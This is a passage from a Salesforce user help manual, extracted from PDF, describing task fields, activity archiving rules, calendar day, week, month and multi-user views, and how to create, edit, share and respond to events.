or custom object, if any. Otherwise, the activity belongs to the
global division. Available only in organizations that use
divisions to segment their data.

Due Date

Date when the task should be completed. You can enter a


date, or choose a date from the calendar that displays when
you put your cursor in the field.

141

Activities

Task Fields

Field

Description

Email

Email address of the contact or lead associated with the task.


This field is automatically filled in with the value from the
corresponding contact or lead record.

Last Modified By

User who last changed the task, including modification date


and time. (Read only)

Name

Contact or lead related to the task. You can enter the name
of the person or use
to select the name. If you use Shared
Activities on page 123, you can relate up to 10 contacts to the
task. This field appears only if you have the Read permission
for that type of record; users with sharing access to the record
can click it to view more details.

Phone

Phone number of the contact or lead associated with the task.


This field is automatically filled in with the value from the
corresponding contact or lead record.

Priority

Urgency of the task, for example, Low, Medium, or High.


(Picklist selections can be customized by your administrator.)

Related To

Record that the task is associated with such as an account or


opportunity. This field is not available when you associate the
task with a lead instead of a contact. This field appears only
if you have the Read permission for that type of record; users
with sharing access to the record can click it to view more
details.

Send Notification Email

Checkbox that sends an automated email to the task assignee


to notify him or her that the task was assigned. This option
is not available in Personal Edition.

Status

Current status of task, for example, Not Started or Completed.


(Picklist selections can be customized by your administrator.)

Subject

Subject or short description of the task, for example, Email


quote to customer. You can enter a subject, or select from a
picklist of previously defined subjects.

Task Record Type

Name of the field that determines what picklist values are


available for the record. Available in Enterprise, Unlimited,
and Developer Edition.

Type

Type of task, for example, Email, Meeting. Each picklist value


can have up to 40 characters.

Visible in Self-Service

Checkbox that specifies whether the completed task is visible


in the Self-Service portal.
Note: Starting with Spring 12, the Self-Service portal
isnt available for new organizations. Existing

142

Working with Calendars

Field

About Archived Activities

Description
organizations continue to have access to the
Self-Service portal.

About Archived Activities


Available in: All Editions except Database.com

Salesforce archives activities according to these conditions.

Events with a due date more than 365 days old


Closed tasks with a due date greater than 365 days old
Closed tasks without a due date and created more than 365 days ago

Additional considerations for activity archiving:

Archiving occurs weekly at approximately 5:00 AM Greenwich Mean Time (GMT) on Saturday.
Archived activities can be viewed only in export files, printable view, or by clicking View All on the Activity History related
list. You can also view an archived activity if you know the URL for the activity.
Administrators can delete archived activities using Mass Delete.
Archived tasks are not included in reports. However, you can report on open or completed tasks.
Archived activities arent copied when you create or refresh a sandbox.

See Also:
Searching for Activities
Using the Activity History Related List

WORKING WITH CALENDARS


Viewing Your Calendar
Available in: All Editions except Database.com

Accessing Your Calendar


You can access your calendar from the following locations:

The Home tab

143

Activities

Viewing Your Calendar

For more information, see Using Your Calendar and Tasks on the Home Page on page 56.

The Calendar shortcut in the sidebar that opens your last used calendar view
Your Salesforce administrator must enable this shortcut. For more information, see Customizing Activity Settings on page
1331.

The detail page of an event or task, which includes calendar icons at the top
An activities list view, which includes calendar icons at the top

Using the Calendar Icons


Click the following icons to navigate your calendar:
Item

Description
Day View icon. See Using the Calendar Day View on page
145.
Week View icon. See Using the Calendar Week View on page
147.
Month View icon. See Using the Calendar Month View on
page 147.
Single User View icon. Displays a user's calendar, a public
calendar, or a resource calendar.
Multi-User View icon. Displays several users' calendars. See
Using Multi-User Calendar Views on page 150.
Activity list view. See Viewing Activity Lists on page 119.
Previous arrow. Click to change the view to the previous day,
week, or month, as appropriate.
Next arrow. Click to change the view to the next day, week,
or month, as appropriate.
Pick a Date icon. Click to open a popup dialog where you can
choose a specific date.

Note:

Events and tasks that are part of a recurring series are marked with a recurrence icon ( )

The multi-person event icon ( ) identifies events with invitees. Multi-person events aren't available in Personal
Edition.

Using Calendar Views


See the following topics for information on how to use different calendar views:

Using the Calendar Day View


Using the Calendar Week View
Using the Calendar Month View
Using Multi-User Calendar Views

144

Activities

Using the Calendar Day View

Tips on Using Calendar Views


Consider the following when using calendar views:

Reschedule an event by dragging the item on your calendar to a different time. For best results, place your mouse over the
subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that you drag
is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar editing;
see Enable Drag-and-Drop Editing on Calendar Views.
Create an event by double-clicking a time slot and entering the details in an interactive overlay. Note that your administrator
controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar Views on page 1604.
To change the default range of hours that your calendar displays, change the Start of day and End of day fields on
your personal information page. For example, if your workday typically begins at 8:00 AM and ends at 6:00 PM, changing
Start of day to 8:00 AM and End of day to 6:00 PM causes your daily and weekly calendar views to default to that
range of hours.
If you sync events from Outlook using Salesforce for Outlook, you may see a banner at the top of your calendar that links
to a list of your unresolved events. These are synced Outlook events that still need to be assigned to Salesforce records.

See Also:
Viewing Event Details
Creating Events
Editing Events
About Event Detail Overlays
Customizing Activity Reminders
Resolving Your Synced Outlook Events

Using the Calendar Day View


Available in: All Editions except Database.com

When viewing your calendar, click

to open the day view.

In the single user day view, you can:

See the events scheduled for the specified day.


See a list of tasks. You can change which tasks you see using the drop-down list.
Hover your mouse over the subject of an event to see the details of the event in an overlay.
Hover your mouse over the subject of a task to see the details of the task in an overlay.
Note: The event detail or task detail overlays are hover popups that show information about the event or task and
allow you to quickly edit or delete the event or task.
The information presented on these overlays is configured by your administrator. See Defining Mini Page Layouts
on page 3305 for details on configuring the event detail or task detail overlays.

Click a time such as 9:00 AM to add an event at that time. Alternatively, double-click a time slot to enter the details of
the event in an interactive overlay. Note that your administrator controls the availability of click-and-create events; see
Enable Click-and-Create Events on Calendar Views on page 1604.

145

Activities

Using the Calendar Week View

Reschedule an appointment by dragging an item on your calendar to a different time. For best results, place your mouse
over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that
you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar
editing; see Enable Drag-and-Drop Editing on Calendar Views on page 1604.
Drag-and-drop editing is not available for multiday events.

Navigate the calendar using the calendar icons.


Click Today to display the day view for today.
Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar; see Viewing Other
Calendars on page 149.
Click [Share My Calendar] to set your personal calendar sharing; see Granting Access to Your Calendar on page 48.
Click Printable View to display the current calendar view in a print-ready format; see Printing Your Calendar on page
150.

In the multi-user day view, you can view the events of multiple users for the specified day. For more information, see Using
Multi-User Calendar Views on page 150.
Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.

See Also:
Using the Calendar Week View
Using the Calendar Month View
Viewing Event Details
Creating Events
Editing Events

Using the Calendar Week View


Available in: All Editions except Database.com

When viewing your calendar, click

to open the week view.

In single user week view, you can:

See the events scheduled for the specified week.


Hover your mouse over the subject of an event to see the details of the event in an overlay.
Click the Add Event icon ( ) to add an event on the appropriate day. Alternatively, double-click a time slot to enter the
details of the event in an interactive overlay. Note that your administrator controls the availability of click-and-create
events; see Enable Click-and-Create Events on Calendar Views on page 1604.
Click the datefor example, 26 for March 26thto drill down to the day view for that day.
Reschedule an appointment by dragging an item on your calendar to a different time. For best results, place your mouse
over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that

146

Activities

Using the Calendar Month View

you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar
editing; see Enable Drag-and-Drop Editing on Calendar Views on page 1604.
Drag-and-drop editing is not available for multiday events.

Navigate the calendar using the calendar icons.


Click This Week to display the week view for the current week.
Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar; see Viewing Other
Calendars on page 149.
Click [Share My Calendar] to set your personal calendar sharing; see Granting Access to Your Calendar on page 48.
Click Printable View to display the current calendar view in a print-ready format; see Printing Your Calendar on page
150.
Select Show Weekends to display Saturday and Sunday.
Tip: On account, contact, and lead list views, click the Open Calendar link at the bottom of the page to display
a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar
to quickly create an event associated with the record. Note that your administrator controls the availability of this
feature. For more information, see Working with Drag-and-Drop Scheduling on page 162.

In the multi-user week view, you can view the events of multiple users for the specified week. For more information, see Using
Multi-User Calendar Views on page 150.
Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.

See Also:
Using the Calendar Day View
Using the Calendar Month View
Viewing Event Details
Creating Events
Editing Events

Using the Calendar Month View


Available in: All Editions except Database.com

When viewing your calendar, click

to open the month view.

In single user month view, you can:

See the events scheduled for the specified month.


Hover your mouse over the subject of an event to see the details of the event in an overlay.
Click the Add Event icon ( ) to add an event on the appropriate day.
Click the datefor example, 26 for March 26thto drill down to the day view for that day.
Click the appropriate Week link to drill down to the week view for that week.

147

Activities

About Event Detail Overlays

Navigate the calendar using the calendar icons.


Click This Month to display the month view for the current month.
Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar; see Viewing Other
Calendars on page 149.
Click [Share My Calendar] to set your personal calendar sharing; see Granting Access to Your Calendar on page 48.
Click Printable View to display the current calendar view in a print-ready format; see Printing Your Calendar on page
150.

In the multi-user month view, you can view the events of multiple users for the specified month. For more information, see
Using Multi-User Calendar Views on page 150.
Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday),
always displays on both days in calendar views.

See Also:
Using the Calendar Day View
Using the Calendar Week View
Viewing Event Details
Creating Events
Editing Events

About Event Detail Overlays


Available in: All Editions except Database.com

When viewing a calendar, you can hover your mouse over an event to display the event detail overlay. The event detail overlay
is a hover popup that shows information about the event and allows you to quickly edit or delete the event.
The information presented on the event detail overlay is configured by your administrator. See Defining Mini Page Layouts
on page 3305 for details on configuring the event detail overlay.
Depending on the layout of the event detail overlay, you may be able to click on fields on the overlay to see more detail. For
example, if there is a contact associated with the event, and the event detail includes that information, you can click on the
contact name to go to the contact detail page.

See Also:
Using Your Calendar and Tasks on the Home Page

148

Activities

Viewing Other Calendars

Viewing Other Calendars


Available in: All Editions except Database.com

In a single user calendar view, you can switch to the calendar of another user, a public calendar, or a resource calendar:
1. Click [Change] to open the calendar lookup window.
2. As necessary, search for the desired calendar:
a. Choose either User Calendars or Public Calendars & Resources from the drop-down list.
b. In the Search field, enter all or part of the appropriate user, public calendar, or resource name.
c. Click Go!.
3. Click the appropriate name to switch to that calendar.
Note: When viewing a resource calendar, you cannot add a new event. You can add events to resource calendars only
by inviting the resource to an event.
To reset your view to your own calendar, click Back to My Calendar (not available in Personal Edition).

See Also:
Granting Access to Your Calendar
Creating an Event in a Public or Resource Calendar
Viewing Your Calendar

Sharing Your Calendar


Available in: All Editions except Database.com

From a calendar day, week, or month view, click Share My Calendar to change how others are allowed to view your calendar.
For more information, see Granting Access to Your Calendar on page 48.
Note: Regardless of whether your organization's sharing settings specify using hierarchies, activities associated with
a record are still visible to users above the activitys assignee in the role hierarchy.

See Also:
Viewing Your Calendar
Viewing Other Calendars

149

Activities

Printing Your Calendar

Printing Your Calendar


Available in: All Editions except Database.com

To print your calendar, click Printable View from any of the calendar views.
On a printable view, you can:

Click Print This Page to send the printable view to a printer.


Click the Next arrow ( ) and Previous arrow ( ) to change the displayed date or dates.
Click Today, This Week, or This Month depending on the view to display the current date or dates.

In addition:

On day and week views, you can view a list of tasks that can be customized by selecting an option from the drop-down
list.
On multi-user views, you can select an option from the Sort by drop-down list to customize the display. Select Time to
include all users' events on a single calendar, or select User to display a separate calendar for each user.

See Also:
Viewing Your Calendar

Using Multi-User Calendar Views


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To see several colleagues' calendars all on one page, click the Multi-User View icon (

).

When viewing multi-user calendars you can:

Select, edit, and create list views that determine which calendars display. To show a filtered list of items, select a predefined
list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view
you created, select it from the View drop-down list and click Edit.
See each person's availability. Consult the legend on the page to see which color indicates Busy or Out of Office time. If
someone has multiple events scheduled for a particular time, all of those events display on the calendar. Note that an event
marked as Free in the event details doesn't display in the multi-user calendar view.
Hover your mouse over a colored bar to see more details about an event.
Create an event and invite people. Check the boxes next to the people you want to invite and click New Event. Alternatively,
click the Add Event ( ) icon for the appropriate day.

Consider these tips when viewing multi-user calendars.

Administrators can choose whether event details display. For more information, see Show Event Details on Multi-User
Calendar View on page 1332.
Drag-and-drop editing is not available.

150

Activities

Viewing Event Details

The time range you see is determined by the Start of day and End of day fields on your personal information page.
Events scheduled outside this time range don't display. To see these events, extend your Start of day or End of day
times.
Multi-user calendar views work differently in the partner portal. For example, partners can only view calendar information
for people in their own company and their channel manager. For more information, download the Partner Portal User
Help.

See Also:
Viewing Your Calendar
Granting Access to Your Calendar
Inviting People to an Event

Viewing Event Details


Available in: All Editions except Database.com
Multi-person events not available in: Personal Edition

To view the details of an event:

Go to the Calendar section of the Home tab and hover your mouse over or click the subject of an event on the Schedule
Meetings subtab.
Only upcoming events display in the Calendar section. Once the event date has passed, the event displays on the Activity
History related list.

From a calendar view, hover your mouse over an event to see the event's details in an event detail overlay.
On the detail page of an associated record, click the subject line of the event from the Open Activities or Activity History
related lists.

To see all of your scheduled events for a specific day, week, or month, use the calendar icons to switch between different views.

Viewing Event Updates and Comments (Chatter)


Display a Chatter feed of updates, comments, and posts about the event.

Viewing Multi-Person Event Details


For events with invitees, the detail page lists the users that have been invited and whether they have accepted or declined the
event. If you've been invited to the event, click Accept Event or Decline Event to let the organizer know if you'll be attending
the event. These buttons only appear for invitees (not organizers).
You can clone a multi-person event from the event detail page. This lets you quickly create another event with the same
invitees. However, you can't clone standard or recurring events.

151

Activities

Creating Events

Viewing Recurring Event Details


The recurrence icon ( ) identifies events that are part of a recurring series. To view the details of the individual event occurrence,
select the View Event subtab (located above the task details). To view the details of the entire event series, select the View
Series subtab .
Note: If the organizer changes the start or end time of an individual event within a recurring series of events, the
calendar view and the Calendar section of the Home tab show you the updated time. However, the detail view of the
updated individual event continues to show you the original time until you accept or decline the series.

See Also:
About Event Detail Overlays
Creating Events
Editing Events
Activity Fields

Creating Events
Available in: All Editions except Database.com

User Permissions Needed


To create events:

Edit Events

1. Begin creating an event by doing one of the following.

From the Create New drop-down list in the sidebar, click Event.
From the Calendar section of the Home tab, click New Event.
From the Open Activities related list of an associated record, click New Event.
On the calendar's day view, click the time when the event will begin. Alternatively, double-click a time slot to enter
the details of the event in an interactive overlay. Note that your administrator controls the availability of click-and-create
events; see Enable Click-and-Create Events on Calendar Views on page 1604.
On the calendar's week view, click the Add Event Icon ( ) next to a date to create an event on that date. Alternatively,
double-click a time slot to enter the details of the event in an interactive overlay. Note that your administrator controls
the availability of click-and-create events; see Enable Click-and-Create Events on Calendar Views on page 1604.
On the month view of the calendar, click the Add Event Icon ( ) next to a date to create an event on that date.
On a multi-user calendar, select the users to invite, and click New Event.

2. Enter the details of the event, such as subject, start date and time, and end date and time. To assign the event to a partner
user, select Partner User from the Assigned To drop-down list.
Note: If multiday events are enabled for your organization, you can create events that last up to 14 days.

152

Activities

Viewing Event Updates (Chatter)

3. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Description
field. Note that the Check Spelling button must be enabled separately for events and tasks.
4. Optionally, select Create Recurring Series of Events to specify how often the event recurs. For more information,
see Creating Recurring Events on page 154.
Note: No occurrence in a series of recurring events can last longer than 24 hours. Once the recurring event is
created, you can extend the length of individual occurrences beyond 24 hours, if multiday events are enabled. To
enable multiday events, see Customizing Activity Settings on page 1331.
5. Attach files as needed by clicking Attach File on the Attachments related list. If you don't see this related list, you may
need to ask your administrator to add it to the event page layout. For recurring events, the attachment is added to the series
of events. Each occurrence of the recurring event can also have its own unique set of attachments.
6. Optionally, set a reminder on the event by selecting Reminder and choosing how long before the event you want to be
reminded.
7. Optionally, click Add Invitees to make the event a multi-person event to which users, contacts, leads, or resources are
invited. For more information, see Inviting People to an Event on page 155.
8. Click Save. Alternatively, click Save & New Task to save the event and create a new task or Save & New Event to save
and create an additional event.

See Also:
Editing Events
Activity Fields
Creating an Outlook Appointment for an Event

Viewing Event Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the event.
Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed.
To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full
feed, above the update, click All Updates.

Following Events
When you follow an event, your Chatter feed includes field changes and event feed updates.

To follow an event, click

Follow. To stop following, click

Following

153

Activities

Creating Recurring Events

The Followers list shows you who is following the event. To view a full list, click Show All.

See Also:
Chatter Overview
Using Chatter Feeds

Creating Recurring Events


Available in: All Editions except Database.com

User Permissions Needed


To create recurring events:

Edit Events

A recurring event is an event that repeats in a series, for example a weekly staff meeting that occurs every Monday at 11:00
AM. This topic describes how to complete the Recurrence section on the New Event page. For general instructions on creating
an event, see Creating Events on page 152.
Note: No occurrence in a series of recurring events can last longer than 24 hours. Once the recurring event is created,
you can extend the length of individual occurrences beyond 24 hours, if multiday events are enabled. To enable multiday
events, see Customizing Activity Settings on page 1331.
1. Select the Create Recurring Series of Events checkbox.
2. Select the frequency of recurrence.
Note: Depending on the type of series you are creating, the maximum number of occurrences is as follows:

Daily: 100
Weekly: 53
Monthly: 60
Yearly: 10

3. Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed based
on the frequency you selected.
4. Optionally, set a reminder on the recurring event. The reminder applies to each occurrence in the event series.
Note: You can't follow recurring events and tasks in Chatter, nor individual instances of recurring events and tasks.
Changes to an individual event or task in a recurring series or to the series itself won't show up in your Chatter feed.

See Also:
Editing Recurring Events
Inviting People to an Event
Viewing Your Calendar

154

Activities

Inviting People to an Event

Inviting People to an Event


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To invite people to an event:

Edit Events

You can invite users, contacts, leads, or resources to an event. An event with one or more invitees is marked with the multi-person
event icon ( ). This topic describes how to complete the Invite Others section on the New Event page. For general instructions
on creating an event, see Creating Events on page 152.
1. Click Add Invitees in the Invite Others section.
2. In the popup window, search for invitees:
a. Select the appropriate type of invitee from the drop-down list: users, leads, contacts, or resources.
Person accounts are returned in contact searches and can be added as invitees.
b. Enter a name or part of a name in the text field, or leave the field blank to expand the search.
c. Click Go!.
3. In the Search Results area, select the boxes next to the people you want to invite and click Insert Selected.
To add more invitees, perform a new search and select more people as needed.
Note: Events that occur only once can have a maximum of 1,000 invitees and resources. Recurring events with
invitees can have a maximum of 100 invitees and resources.
You must have at least read access to the contacts and leads you invite to an event. You must have at least Add
Events on a resource to invite it to an event.
4. Click Done to add the selected people to the event.
5. Review the calendar of each invitee and adjust the date and time of the event, if necessary.
The availability of invitees is indicated in color on their calendars: busy time is blue and out-of-office time is purple. If an
invitee has more than one activity scheduled for a particular time, all of those events will be shown on the calendar. You
can hover your mouse over any event on the calendar to see the event details.
Note: Events marked as free are not displayed.

6. Click Save & Send Invitation.

155

Activities

Creating an Event in a Public or Resource Calendar

Invited leads, contacts, and person accounts receive an email containing a link to a web page where they can accept or
decline the invitation for the event or event series. You will also receive an email summary of the event. If an invited resource
is available at the given time, it will automatically accept the invitation. You can't double-book resources.

See Also:
Responding to Events
Editing Events
Creating Recurring Events
Viewing Your Calendar

Creating an Event in a Public or Resource Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create an event in a public or resource calendar:

Edit Events

Adding Events to Public Calendars


To add an event to a public calendar:
1. On a calendar view, click [Change] to switch to the appropriate public calendar.
2. Choose the appropriate time and date of the new event:

On the day view, click a time such as 9:00 AM to add an event at that time.
On the week or month view, click the Add Event icon ( ) to add an event on a particular date.

3. Enter the details of your event. For details, see Creating Events on page 152.
4. Click Save. Alternatively, click Save & New Task to save the event and immediately begin creating a new task or Save &
New Event to save and begin creating an additional event.

Adding Events to Resource Calendars


To add an event to a resource calendar, invite the resource to the event. For details, see Inviting People to an Event on page
155.

See Also:
Editing an Event in a Public or Resource Calendar
Managing Public and Resource Calendars
Viewing Your Calendar

156

Activities

Editing Events

Editing Events
Available in: All Editions except Database.com

User Permissions Needed


To edit events:

Edit Events

Review the following considerations about who can edit events:

Permission to edit other users events is controlled by your organization's calendar sharing model and your personal calendar
sharing. However, regardless of these settings, managers in the role hierarchy can always edit the events of people who
report to them.
Private events can be edited only by the event owner (the user assigned to the event) and users with the Modify All Data
permission.

1. To edit an event, begin from one of the following locations.

On the Home tab, click the subject of an event listed in the Calendar section, and then click Edit. Alternatively, hover
your mouse over the subject of an event to display the details of the event in an overlay, and then click Edit.
On a calendar view, click the subject of an event. Alternatively, hover your mouse over an event to see the event's details,
and then click Edit.
On single user daily and weekly calendar views:
Reschedule an event by dragging the item on your calendar to a different time. For best results, place your mouse
over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence
that you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop
calendar editing; see Enable Drag-and-Drop Editing on Calendar Views. Drag-and-drop editing is not available
for multiday events.
Create an event by double-clicking a time slot and entering the details in an interactive overlay. Note that your
administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar
Views on page 1604.

On the Open Activities or Activity History related list of an associated record, click Edit next to the appropriate event.
On an activities list view, click Edit next to the appropriate event.

2. Edit the event fields as needed.


If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Description
field. Note that the Check Spelling button must be enabled separately for events and tasks.
3. Optionally, set a reminder on the event by selecting Reminder and choosing how long before the event you want to be
reminded.
4. Attach files as needed by clicking Attach File on the Attachments related list. If you don't see this related list, you may
need to ask your administrator to add it to the event page layout. For recurring events, the attachment is added to the series
of events. Each occurrence of the recurring event can also have its own unique set of attachments.

157

Activities

Editing Multi-Person Events

5. Click Save.

See Also:
Editing Multi-Person Events
Editing Recurring Events
Editing an Event in a Public or Resource Calendar
Creating Events
Activity Fields

Editing Multi-Person Events


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit multi-person events:

Edit Events

Multi-person events are marked with the multi-person event icon ( ). To change the details of a multi-person event that you
own:
1. Open the detail page of the event and click Edit.
2. Change the details and invitees of the event as desired.
In the Email Option drop-down list, choose whether to send an email update to all invited users or only the users you
added or deleted during editing.
3. Click Save & Send Update to save the event and send an update email to the invitees. Alternatively, click Save to save
your changes without sending an email. All changes will be reflected on the calendars of invited users.
Note: You can only edit a multi-person event if you are the event owner. As the event owner, you don't receive email
when an invitee accepts or declines an invitation.
You can reassign a multi-person event to a new owner unless the event is part of a recurring event series.

See Also:
Responding to Events
Editing Recurring Events
Editing Events
Viewing Event Details

158

Activities

Editing Recurring Events

Editing Recurring Events


Available in: All Editions except Database.com

User Permissions Needed


To edit recurring events:

Edit Events

Note: You can't follow recurring events and tasks in Chatter, nor individual instances of recurring events and tasks.
Changes to an individual event or task in a recurring series or to the series itself won't show up in your Chatter feed.
To change the details of an event that is part of a series of events:
1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record,
and then click the View Event subtab. Alternatively, mouse over the event in any calendar, and click Edit.
2. Click Edit Event.
3. Change the event fields.
4. If this is an multi-person event, choose whether to send an email update to all invited users or just the users you added or
deleted during editing. Click Save & Send Update to save the event and send an update email, or just click Save to save
your changes without sending an email. All changes will be reflected on the calendars of users that have accepted the event.
Note: Changes made to a future event that is part of a series of recurring events will be overwritten if the series
frequency is changed.

To change the details of a series of events:


1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record.
2. Select the View Series subtab and then click the Edit Series button. Alternatively, click the Edit Series link in the
Recurrence section of the detail page.
3. Modify the fields for this series of events. Changes made will not affect events in the series that have occurred in the past.
Caution: If you change any of the details in the recurrence section of the series, all future events that were part of
the series will be deleted and new events will be created. Any changes made to individual events that have not yet
occurred, including any responses from invitees, will be lost.
4. If the series includes invitees, and you want to notify all the invitees of the changes, click Save & Send Update. If you do
not want to send updates to all invitees, click Save.
Note: If you have changed the time or frequency of the events in the series, and you do not send updates, the
response status (accepted, declined, or not responded) for each invitee will not change. If the invitee did not decline

159

Activities

Editing an Event in a Public or Resource Calendar

the original invitation, the events will be added to the invitee's calendar. If you extend the end date but make no
other changes, existing events responses will not be changed unless you send updates.

See Also:
Creating Recurring Events
Editing Multi-Person Events
Editing Events

Editing an Event in a Public or Resource Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit an event in a public or resource calendar:

Edit Events

Note: Permission to edit events in public and resource calendars is controlled by the calendar sharing model.

1. On a calendar view, click [Change] to switch to the appropriate public calendar.


2. To edit an event, begin from one of the following locations.

On the Home tab, click the subject of an event listed in the Calendar section, and then click Edit. Alternatively, hover
your mouse over the subject of an event to display the details of the event in an overlay, and then click Edit.
On a calendar view, click the subject of an event. Alternatively, hover your mouse over an event to see the event's details,
and then click Edit.
On single user daily and weekly calendar views:
Reschedule an event by dragging the item on your calendar to a different time. For best results, place your mouse
over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence
that you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop
calendar editing; see Enable Drag-and-Drop Editing on Calendar Views. Drag-and-drop editing is not available
for multiday events.
Create an event by double-clicking a time slot and entering the details in an interactive overlay. Note that your
administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar
Views on page 1604.

On the Open Activities or Activity History related list of an associated record, click Edit next to the appropriate event.
On an activities list view, click Edit next to the appropriate event.

3. Change the event fields as needed.

160

Activities

Responding to Events

4. Click Save.

See Also:
Managing Public and Resource Calendars
Creating an Event in a Public or Resource Calendar
Editing Multi-Person Events
Editing Events

Responding to Events
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

When another user invites you to an event, you receive an email containing a link to the event. The event also displays on your
Home tab if your home page layout includes your calendar. To accept or decline the event:
1. Click the event description.
2. Optionally, enter a response.
3. If the event is a single event, click Accept Meeting or Decline Meeting. If you have been invited to a series of events,
click Accept Series or Decline Series.
Note: If you want to attend some of the events in a series of events, but want to decline other events in the series,
accept the series and then decline the specific events you will not attend.

To create an Outlook appointment for your event, click Add to Outlook. The event immediately opens in Outlook. If it does
not open, save it to your computer as a .vcs file, open the file with Outlook, and then save the event. The Outlook appointment
is tagged with the salesforce.com category so that duplicates are not created during synchronization.

See Also:
Inviting People to an Event
Editing Multi-Person Events
Viewing Activities

Creating an Outlook Appointment for an Event


Available in: All Editions except Database.com

To add an event to Outlook:


1. Select an event from the Calendar on the Home tab or from the Open Activities or Activity History related list of a record.
2. Click Add to Outlook.

161

Activities

Working with Drag-and-Drop Scheduling

3. Click open to immediately add it to Outlook, or save it to your computer as a .vcs file. If you save it as a .vcs file, import
the file with Outlook.
The Outlook appointment is added to the salesforce.com folder.
Consider the following when adding an event to Outlook.

When viewing the event added in Outlook, the description doesn't display line breaks that were entered in the event's
Description field. Any line breaks are replaced by two spaces in the .vcs file.
You can also sync your Salesforce events to Outlook using Salesforce for Outlook.

See Also:
Creating Events
Using Connect for Outlook
Salesforce for Outlook Overview

Working with Drag-and-Drop Scheduling


Available in: All Editions except Database.com

User Permissions Needed


To enable drag-and-drop scheduling:

Customize Application

To create events:

Edit Events

Drag-and-drop scheduling enables you to create events associated with records by dragging records from list views on to weekly
calendar views and entering the details of the event in an overlay. This allows you to schedule events without leaving the list
view page. Drag-and-drop scheduling is available on list views for accounts, contacts, and leads.
After your administrator sets up drag-and-drop scheduling, you can click the Open Calendar link at the bottom of a list
view to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the
calendar to quickly create an event associated with the record. When the calendar is open, you can:

Select the Change link to switch to any calendar to which you have access
Click the Previous Week (

) and Next Week (

) icons to view the previous or next weeks in the calendar

Click the Date Picker icon ( ) to choose a specific date on which to view the calendar
Select the This Week link to view the current week in the calendar
Select the Show Weekends checkbox to display weekends on the calendar
Click the Close icon ( ) to close the calendar at any time. Alternatively, you can click the
bottom of the list view to close the calendar.
Drag the bar in between the list view and calendar to resize the height of either one

Close Calendar link at the

Setting Up Drag-and-Drop Scheduling


Users with the Customize Application permission can set up drag-and-drop scheduling. To set up drag-and-drop scheduling:

162

Activities

Viewing Tasks

1. Click Your Name > Setup > Customize > User Interface.
2. Select the Enable Drag-and-Drop Scheduling on List Views checkbox.
To select the Enable Drag-and-Drop Scheduling on List Views checkbox, you must select the Enable
Drag-and-Drop Editing on Calendar Views and Enable Click-and-Create Events on Calendar
Views checkboxes. For more information, see Customizing User Interface Settings on page 1601.
3. Click Save.
4. Optionally, define event mini page layouts to include the fields you want users to update in the event edit overlay:
a.
b.
c.
d.

Click Your Name > Setup > Customize > Activities > Event Page Layouts
Select an events page layout name.
Click Mini Page Layout.
Select which fields to display in the event edit overlay.
For more information, see Defining Mini Page Layouts on page 3305.

e. Click Save.

Tips on Drag-and-Drop Scheduling


Consider the following for drag-and-drop scheduling:

The Open Calendar link only appears at the bottom of list views for accounts, contacts, and leads.
Drag-and-drop scheduling is not available for the Console tab, multi-person events, recurring events, accessibility mode,
or Connect Offline.
List views that include drag-and-drop scheduling may take slightly longer than usual to display.
We recommend adding the All Day Event field to the event mini page layout, as that field is not automatically added
to event mini page layouts. The All Day Event field allows users to specify whether an event lasts all day.
Drag-and-drop scheduling includes enhanced lists; however, you do not need to enable enhanced lists for drag-and-drop
scheduling to work. For more information, see Working with Enhanced Lists on page 274.
When you drag the bar in between the list and calendar to resize either one, the size is automatically saved for all views in
which you use drag-and-drop scheduling. You can resize the list and calendar at any time.

See Also:
Creating Custom List Views

Viewing Tasks
Available in: All Editions except Database.com

Tasks allow you to track the specific actions you plan to perform or have performed, such as making phone calls or sending
mail. To view the details of a task, click the task's subject from any of the following locations:

The My Tasks section of the Home tab


The calendar day view
An activities list view
The Open Activities related list on an associated record

163

Activities

Creating Tasks

The Activity History related list on an associated record

The recurrence icon ( ) identifies tasks that are part of a recurring series. To view the details of the individual task occurrence,
select the View Task subtab (located above the task details). To view the details of the entire task series, select the View Series
subtab .
If your organization has enabled Email-to-Case or On-Demand Email-to-Case, some tasks may be associated with
Email-to-Case or On-Demand Email-to-Case emails. Click the link at the top of the task to view the associated email. See
